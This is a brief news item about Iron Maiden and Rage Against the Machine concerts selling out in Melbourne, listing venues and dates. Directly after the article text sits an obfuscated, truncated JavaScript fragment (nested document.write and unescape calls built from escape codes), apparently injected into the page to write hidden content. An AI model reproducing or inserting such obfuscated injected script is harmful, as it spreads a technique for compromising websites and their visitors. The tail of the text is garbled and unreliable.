Maiden and RATM Metal Sellouts Down Under
Metal pandemonium broke out on Melbourne's streets yesterday as tickets to shows by IRON MAIDEN and RAGE AGAINST THE MACHINE sold out in minutes.
Black-clad fans queued overnight to secure a spot at Rage Against the Machine's first Australian shows in 11 years, at Festival Hall on January 30. Promoters later confirmed the music industry's worst-kept secret - that the band would also headline the Big Day Out at on January 28. Tickets go on sale October 12.
And, metal kings Iron Maiden announced a second show at Rod Laver Arena after selling out their first Melbourne show in 15 years within 25 minutes yesterday morning - about as quickly as recent shows there by pop star JUSTIN TIMBERLAKE.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;